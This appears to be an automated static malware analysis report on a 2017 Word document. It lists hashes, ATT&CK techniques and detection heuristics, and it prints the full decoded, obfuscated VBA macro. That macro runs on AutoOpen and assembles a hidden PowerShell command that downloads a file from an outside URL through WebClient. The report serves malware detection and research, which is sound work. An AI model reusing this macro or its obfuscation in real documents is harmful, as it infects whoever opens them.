Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e77af5090435b78c…

MALICIOUS

Office (OLE)

57.2 KB Created: 2017-01-18 23:27:00 Authoring application: Microsoft Office Word First seen: 2017-02-23
MD5: f8b3fc0715284aadb7e2321cf916ec9c SHA-1: 3020ab628475042aad97708a68990db5e67eeb87 SHA-256: e77af5090435b78ca6f04c7b6d74aec0bd3a0e83688673268e3fb7e4014ae5fc
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OLE document containing obfuscated VBA macros. A critical heuristic indicates a potential Shell call within the VBA code, and ClamAV also flagged it as malicious macro obfuscation. The presence of the 'AutoOpen' macro suggests automatic execution upon opening. The VBA code is heavily obfuscated, making it difficult to determine the exact payload, but the intent is likely to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Macro.Obfuscation-6394109-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6394109-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    rqebenc = Array(an & py & bo7 & a7 & sn & i & u0 & e7 & r & uft & oh7 & of & l4 & szu6 & g & a & ws9 & jma & qqu & i0 & a4 & isr8 & ecm3 & r1 & im & g4 & avb & sdu9 & gm & ohk & af2 & w4 & c7 & e3 & x & m0 & ec & iw & dxy & zi8 & o1 & kji & dca & xs & b4 & sxa & wky8 & bto & i8 & a0 & q5 & qju & ob & al & pko0 & gbe6 & or6 & cy & e2 & w & by5 & oz0 & afn9 & uc & e6 & fte & vp & ls & m1 & ol4 & ofx & bi7 & k5 & tf0 & ge & u & E & exr & uhs & o & yzx & cwo4 & u2 & wby & td & zq & n9 & ab3 & fry &  …
    Shell rqebenc, mgyvqip
    End If
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
    yfmyh
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12115 bytes
SHA-256: 00c3ef95ccab13cc31f2a4367c68f1a81e3520973558d9d2bd7fcc2b7701ea46
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub yfmyh()
a7 = Array(2640, 9113, 4506, 8930, "E ", 6116)(4)
bu = Array(6059, 6178, 2622, 9180, 331, "HY", 4884, 7001, 4625, 5944, 2592, 1503, 6865)(5)
b0 = Array(9160, 8632, 1683, 9242, 8123, 6530, "S^", 8346, 9762, 5733, 1066, 887, 6289, 8681)(6)
p = Array(1783, 2555, 6251, 8158, "PP", 7542, 7834, 5651, 1539, 5293)(4)
dxy = Array(4346, "^R", 9240, 1680)(1)
bto = Array(2445, "^I", 7640, 1511, 461)(1)
yc0 = Array(9638, 806, 7527, 3605, 4918, "np", 1814, 7276, 5501, 3286)(5)
uhs = Array(".W", 8519, 745, 8483, 6095, 5577, 4965, 9526, 7888)(0)
tc1 = Array(7303, 8735, 8009, 3730, 1140, "q.", 5442, 8384, 827)(5)
exr = Array(7244, "Et", 9625, 6852, 8952)(1)
o = Array(3698, 5435, 5371, 8879, "EB", 6432)(4)
gbe6 = Array(5429, 3566, 9236, 4583, 2472, 5190, "  ")(6)
ab3 = Array(547, 4435, 9084, 6660, 8382, "NL", 4435, 5458, 7705, 7466, 4861, 6609)(5)
sxa = Array(" -", 3749, 8611, 386, 7086, 8414, 1093, 7150, 2980, 173, 7352, 1132, 4915, 6475)(0)
ytj9 = Array(1505, 9960, 4927, 1905, 444, 7231, 483, "c/", 7725)(7)
r1 = Array(8002, 297, "lI", 4249, 3983, 4785)(2)
i8 = Array(943, 8911, 5380, "N^", 1529, 4745)(3)
qa4 = Array(4491, 8907, 3301, 8970, 9062, 6160, "I^", 1015)(6)
tf0 = Array(8645, 6168, 3139, 8427, "sT", 1306, 5128, 3941, 5257, 9048, 8854)(4)
wh = Array(8141, ".E", 8524, 4303, 7454, 2959, 3420, 5426, 1813, 3248, 2809)(1)
afn9 = Array(6227, "^(", 1714, 861)(1)
isq = Array(6898, 8589, 2123, 1057, 3522, "f^", 4439)(5)
o1 = Array(413, 8529, 6646, 5340, 2876, 5886, 6920, 2081, "f^", 4066, 2920, 5641, 4011, 7383)(8)
qju = Array(3351, 2683, 2063, 2240, 8869, "ST", 9124, 1490)(5)
y0 = Array(5877, 9886, 3582, 7992, "ex")(4)
u0 = Array(8198, 4313, 6001, 5020, 9184, 8887, "Po", 4930, 9906, 2967, 9621, 2375, 6508, 6607)(6)
or6 = Array(7695, 4741, 848, 4132, 3134, 3427, 1326, "  ")(7)
kji = Array(1780, 5710, 3170, 4598, 7932, 8144, 5694, 7797, "Il", 4350, 6008, 6326, 997)(8)
ol4 = Array(5666, 9293, 9947, 6028, "^c", 7163, 2161, 648, 8142, 371, 6520)(4)
k5 = Array(6300, 1880, 3623, 6897, 4986, 1847, 3555, 2024, 4294, 3858, "sy")(10)
cy = Array(7612, 2093, 3866, 1240, 8685, 9570, 4982, 8534, 7265, "^H", 9624)(9)
an = Array(5383, 8041, 8976, 2578, 1392, "Cm", 7719)(5)
o2 = Array(2795, 4092, 7140, 7193, 3279, "ht")(5)
ih = Array(3234, "XE", 1050, 3671, 6687, 237, 6325, 366, 6771, 5003, 9098, 9423, 1507)(1)
E = Array("^N", 7124, 8220, 1173, 5464, 7487, 7575)(0)
yzx = Array(8306, "^c", 7524, 5610, 1143, 9300, 8996)(1)
el0 = Array("a%", 2638, 3553, 9187)(0)
wp = Array("'%", 2488, 4270, 4552, 8122, 4728)(0)
cwo4 = Array("LI", 3354, 848, 4910, 2879, 5665, 4797, 7882)(0)
oh7 = Array(7159, 6528, 6734, 4495, 4592, 8644, 2371, 4405, "eL", 7451, 4836, 4805, 584)(8)
pko0 = Array(1995, 681, 314, 3258, 1991, 999, "^ ", 999, 6436, 8392, 2678)(6)
r0 = Array(2741, 1593, 7978, 6622, 5882, 5697, 5600, "te", 9809, 4123, 2105)(7)
ohk = Array(2227, 5978, "YP", 7882, 5233, 7725, 2154, 6373, 9899)(2)
t2 = Array(1675, 8617, ");", 9048, 5025, 6930, 127)(2)
fte = Array(8503, 9353, 9502, 6065, 2112, "-^")(5)
avw2 = Array(5033, 3263, 9480, 7242, 6993, 239, 5907, 5128, 8671, "Ap", 1904, 6964, 9371, 4292)(9)
nva = Array("S^", 7781, 8891, 9315, 8135, 1113, 4738, 1997, 7403, 4131, 6465, 6068, 6408)(0)
wha = Array(6282, 4905, 8519, "Ta", 3853, 2790, 6127, 3665, 2066, 4332, 6843, 8003)(3)
g4 = Array("^y", 8868, 2348, 1784, 1120, 6489, 9686, 1318, 738)(0)
mju = Array(380, 5311, 3859, "EX", 8284)(3)
isr8 = Array(4588, 9611, "On", 2926)(2)
b4 = Array("  ", 8151, 4842, 9123, 5522, 4023, 1639, 1105, 9828, 5737, 2299, 8803, 4433)(0)
z8 = Array(154, 2906, 1694, 6885, 453, 3001, 2685, 7911, 4229, 8207, 7726, 8266, "/p")(12)
cj = Array(6179, 430, 8359, 5782, 8327, 7381, "zc", 5630, 8381)(6)
uc = Array(6794, 836, "N^", 7561, 2759)(2)
itg = Array(6871, 242, 4796, 5254, "d^")(4)
ob = Array(4501, 6584, 3751, 3525, 372, 2390, 3598, 4550, "^y", 1362, 1410, 785, 7741)(8)
gd = Array(189, 4279, 1820, 1105, 8258, "('", 7349, 4151, 6464)(5)
aw8 = Array(8373, 6238, 3390, "aa", 3351, 5682, 9693, 3390, 4405, 1449, 3981, 4388)(3)
c7 = Array(6475, "S^", 458, 474)(1)
y = Array(5692, 1300, 3348, 6415, ":/")(4)
ont = Array(9812, 9276, 8205, 3277, 6036, 3537, 5070, 6801, 1514, "dA", 8920, 2712)(9)
wky8 = Array(3393, "^W", 6810, 9332, 686, 5833, 830, 246, 6403, 4479, 8758, 6690)(1)
ekd6 = Array(5352, 651, 1359, 4714, 4506, 9655, 4436, 2530, "l/")(8)
s = Array(8177, 6997, 5830, 4684, 1092, "bo", 8104, 229, 4977)(5)
h = Array(679, 8374, 1223, 5369, 4734, 8427, 4104, 2744, 2157, 5145, 8086, "e'")(11)
ecm3 = Array(7887, 2999, 2829, 3094, 4450, 473, "pO")(6)
of = Array(1351, 9086, 8640, 7797, 763, 3963, 341, 3278, 394, 8589, 9599, 7453, 5118, "L^")(13)
mg = Array(3502, 6789, 2761, "tp", 3592)(3)
ij = Array(3174, 2948, 9919, 3866, 7941, "ep")(5)
im = Array("^c", 9418, 5063, 4188, 9151, 2950)(0)
qo = Array(3996, 7459, 7379, ",'", 7478)(3)
jy8 = Array(2174, 7365, 5347, 501, 6988, 3367, 7776, 1636, "AR", 8217, 5179, 8124, 379, 7821)(8)
vp = Array(3208, 6094, 1452, 2094, "Ob", 7442, 728, 1642, 7436, 2407, 9252)(4)
oz0 = Array("  ", 9277, 6737, 421, 7501, 4632, 8476, 2992)(0)
xi9 = Array(4311, 9775, 1856, 9803, 6470, 7285, 4303, 198, 5741, 7258, 5539, ".p", 1063, 1864)(11)
wge6 = Array(6204, 1223, 1462, 947, 3507, 3034, "/s", 7949, 6910, 9723)(6)
a4 = Array(2951, 4436, 2744, 5018, 5054, 9556, 3096, 5207, 1551, "TI", 7643, 5451, 9553)(9)
d = Array(2810, 5280, " ^", 8139, 4043, 1225)(2)
r = Array(5998, 1037, 1206, "R^", 5904, 3905)(3)
ny0 = Array(4404, 7873, 7331, 3802, 2268, 6491, 2434, "  ", 3851, 5734, 557, 382)(7)
t0 = Array(1847, 6831, "rJ", 7546, 1406, 5799)(2)
ge = Array(5508, 508, 8339, 9266, 6501, "E^", 9468, 8994, 5955, 7478, 719, 5934, 4432)(5)
ec = Array(5810, 5682, 8799, 6653, "n^")(4)
bo7 = Array(9410, 9826, 1963, 3187, 5850, "eX", 1195, 4881, 1746, 9559, 2295, 5240, 1647)(5)
ejl4 = Array("%.", 2984, 3296, 3413)(0)
x8 = Array(4311, 3134, 1895, 356, "Pr", 7657, 9022, 2247, 4355, 3614, 9386)(4)
af2 = Array(8586, 8257, 7959, 954, "a^", 5606, 2135, 9551, 237, 7689, 6361, 3072, 1311, 970)(4)
ztu = Array(7402, 6588, 2161, 2742, "t^", 2388, 7557, 1063, 3762)(4)
a3 = Array(1222, 1615, 3267, "te", 4661, 8979, 9350, 9606, 3379, 4884, 1839, 4308)(3)
i = Array(5187, 4032, 1965, 5301, 4148, 8836, 7429, 2086, " """, 1477, 6543)(8)
q5 = Array(5633, 4378, "ow", 7677, 7062, 9024, 3788, 8638, 172)(2)
sdu9 = Array(9521, 8606, 1468, 5525, 3105, 1847, 4271, 1240, 2273, "  ", 7621, 1504)(9)
hw1 = Array(8729, "us", 320, 7723, 8594, 3595, 7661, 6401, 1789, 1386, 8874)(1)
n9 = Array(9402, 8904, 2817, 4448, "oW", 611, 5187, 2815, 9893, 4713, 8820, 8069, 4650, 3412)(4)
x1 = Array(1124, 656, 7715, "es", 1016, 6785, 5828, 9530, 2969, 5084, 7147, 6830, 5896, 1602)(3)
td = Array(7780, 704, 9581, ")^", 9686, 5045)(3)
ut = Array(6349, 460, 954, 2345, 2989, "s/", 9568, 4354, 7148, 396, 7304, 4844)(5)
gh0 = Array(9687, 3915, 4802, 3168, 2342, 1161, 9716, 5330, 6400, 5716, "UN")(10)
w = Array(1035, "D^", 8654, 3012, 9620, 8224, 7894, 8155, 5490)(1)
avb = Array("  ", 1273, 2868, 5327, 5361, 2020, 8178)(0)
nq = Array(5489, 2119, "At", 3353, 9313, 4434, 9116, 7972, 8854, 9828, 7382, 526)(2)
sn = Array(4970, 2985, 9910, "/c", 821)(3)
g0 = Array(1491, "%a", 697, 3465, 6760, 5332)(1)
la = Array(4498, 9187, 6122, 3237, "LE", 2477)(4)
f9 = Array(1661, "'""", 1785, 6536)(1)
fry = Array(4635, 4158, "oa", 4933)(2)
y1 = Array(2452, 5331, "PD", 704, 1372, 7939, 9967, 7827, 2973, 3231, 7307)(2)
szu6 = Array(9788, 8011, 1608, 182, 6600, 1207, 7535, 1719, 7441, "xe", 9384, 1329)(9)
x = Array(9496, 2925, 4242, " ^")(3)
gm = Array(8934, 4946, 2367, "B^", 7349)(3)
s8 = Array(9612, 4058, 277, ".p", 6949)(3)
ofx = Array(1387, 5319, 3898, "^t", 696, 3206)(3)
a = Array(444, 9137, 493, 527, " ^")(4)
vwo = Array(3960, 911, 4455, 522, 6544, 5071, 7221, 7798, 4399, 5023, "Oc", 4254, 8286, 9234)(10)
u = Array(2960, "m.", 6848, 6964, 2008, 5703, 8682)(1)
e7 = Array("wE", 4326, 6674, 2063, 869, 3167, 2370, 3429, 1269)(0)
l4 = Array(8721, 2913, 2933, 5889, 7200, ".e")(5)
zi8 = Array("^o", 5368, 4862, 6131, 4815, 4526, 3302, 8184, 7498)(0)
e6 = Array(1815, 5130, 4201, "Ew", 6740, 1358, 5815, 7501, 9440, 7195, 8885)(3)
jma = Array(5082, 6568, 191, 6208, 5454, 536, 5345, 5847, 963, "^x")(9)
udc = Array(8722, 9954, "-^", 1242, 9002, 7776, 1656, 6838, 6561)(2)
ka = Array(1103, 5201, 4658, 6509, 6679, 7908, 6045, 4623, "t^", 7226)(8)
ls = Array(6752, 6045, 9898, 7682, 3297, "^j", 263, 2021, 2263)(5)
amk = Array(3454, 6171, 9865, 3374, "pa", 9938, 7806)(4)
bi7 = Array(6881, 1997, 624, "  ", 8943, 2546, 8666, 9214, 8967, 9782)(3)
c = Array(8907, 4798, 9508, 4605, "la", 398, 9318, 8628, 2403, 6661, 5996, 2628)(4)
py = Array(2088, 4851, 9115, 8565, "d.", 3169, 2715, 2115, 7821, 5669, 6985, 6568)(4)
u2 = Array(3560, 7599, 1804, "E^", 4194, 7629, 6672, 8019, 4305, 2006, 4440, 2126, 2782)(3)
mgyvqip = False
m1 = Array(3073, 5652, 6601, 4615, 3088, 8908, 3868, "^e", 3697, 3874, 1887, 2809, 8093)(7)
jno = Array(884, 4433, 2925, 3844, 9799, "4f")(5)
uft = Array(2565, 499, 3132, 9139, 2462, 3902, 2307, 4733, 7232, 3476, 7791, 9732, "sH", 9526)(12)
a9 = Array(".c", 4169, 5915, 153, 3832, 5592, 6695, 5528, 4500, 3728, 8456)(0)
w4 = Array(4474, 5042, 2724, 7720, "s^", 5107, 7135, 9675, 7482)(4)
o3 = Array(4253, "wl", 2375, 179, 5703, 9499, 9692, 9662, 9677)(1)
wby = Array(4152, 8401, "NT", 1174, 9499, 2612, 1948, 6696)(2)
efg1 = Array(8172, "mp", 3919, 183, 3539, 7464, 6183)(1)
lo = Array(9038, "ba", 9890, 9065, 827, 1277)(1)
a0 = Array(7506, 5422, "d^", 673, 7559, 3178, 6543, 8645, 5750, 8888, 6286, 7161)(2)
by5 = Array(4236, 6252, "eN", 9642, 3954, 3385, 9179)(2)
e3 = Array(8442, 9405, 2382, 1167, 7126, 7390, "  ", 8202, 6801)(6)
dca = Array(8373, 239, 3685, 5761, 8920, "^E", 7371, 9181, 2516, 5582, 5904)(5)
g = Array(5395, 9756, 4764, 4412, 7447, 3484, "^ ", 2991)(6)
pu = Array(4417, 2883, "kl", 321, 214, 1563, 2608, 3052, 7336, 8074, 9053)(2)
zq = Array(4592, 1879, 3229, 8644, 281, 4303, 8143, 2793, 6152, 4839, 7723, ".D")(11)
lm7 = Array(341, 8798, 7769, "Xb", 2583, 9860, 7486, 7814)(3)
ags5 = Array(3135, 9874, 288, 8302, "eA", 515, 415, 6155, 8868, 4672, 2214, 5047, 7194, 1395)(4)
e2 = Array(3764, 9125, "Id", 3323, 6665, 9717, 7133, 9536, 5738)(2)
al = Array(3233, 1945, "Le", 4375, 3491, 8210, 9031)(2)
iw = Array(5541, 7497, 9852, 6127, "OP", 9446, 9663, 7170)(4)
qqu = Array(760, 3568, 437, 8359, 7045, 9045, 5814, 5286, "^e", 2166, 717, 6912)(8)
ws9 = Array("-E", 3832, 6013, 3412, 7698)(0)
ebw = Array("E'", 5422, 3862, 6389)(0)
i0 = Array("CU", 780, 3448, 5848, 1643, 4432, 3197, 469, 2774, 9389, 6543, 9602)(0)
xs = Array(1469, 398, 3249, 2367, 1647, "^ ", 2352, 9051)(5)
m0 = Array(1143, 4022, 3408, 6074, 1363, "-^")(5)

If VarType(ActiveDocument.MailMerge.State) = 3 Then
rqebenc = Array(an & py & bo7 & a7 & sn & i & u0 & e7 & r & uft & oh7 & of & l4 & szu6 & g & a & ws9 & jma & qqu & i0 & a4 & isr8 & ecm3 & r1 & im & g4 & avb & sdu9 & gm & ohk & af2 & w4 & c7 & e3 & x & m0 & ec & iw & dxy & zi8 & o1 & kji & dca & xs & b4 & sxa & wky8 & bto & i8 & a0 & q5 & qju & ob & al & pko0 & gbe6 & or6 & cy & e2 & w & by5 & oz0 & afn9 & uc & e6 & fte & vp & ls & m1 & ol4 & ofx & bi7 & k5 & tf0 & ge & u & E & exr & uhs & o & yzx & cwo4 & u2 & wby & td & zq & n9 & ab3 & fry & itg & isq & qa4 & la & gd & o2 & mg & y & wge6 & pu & ij & s8 & amk & o3 & hw1 & a9 & lo & xi9 & ekd6 & s & yc0 & aw8 & ytj9 & r0 & efg1 & c & a3 & ut & jno & gh0 & t0 & lm7 & z8 & cj & bu & ags5 & tc1 & y0 & h & qo & g0 & p & ont & wha & ejl4 & mju & ebw & t2 & nva & ztu & jy8 & ka & udc & x8 & vwo & x1 & b0 & ny0 & d & wp & avw2 & y1 & nq & el0 & wh & ih & f9)(0)
Shell rqebenc, mgyvqip
End If
End Sub
Sub AutoOpen()
yfmyh
End Sub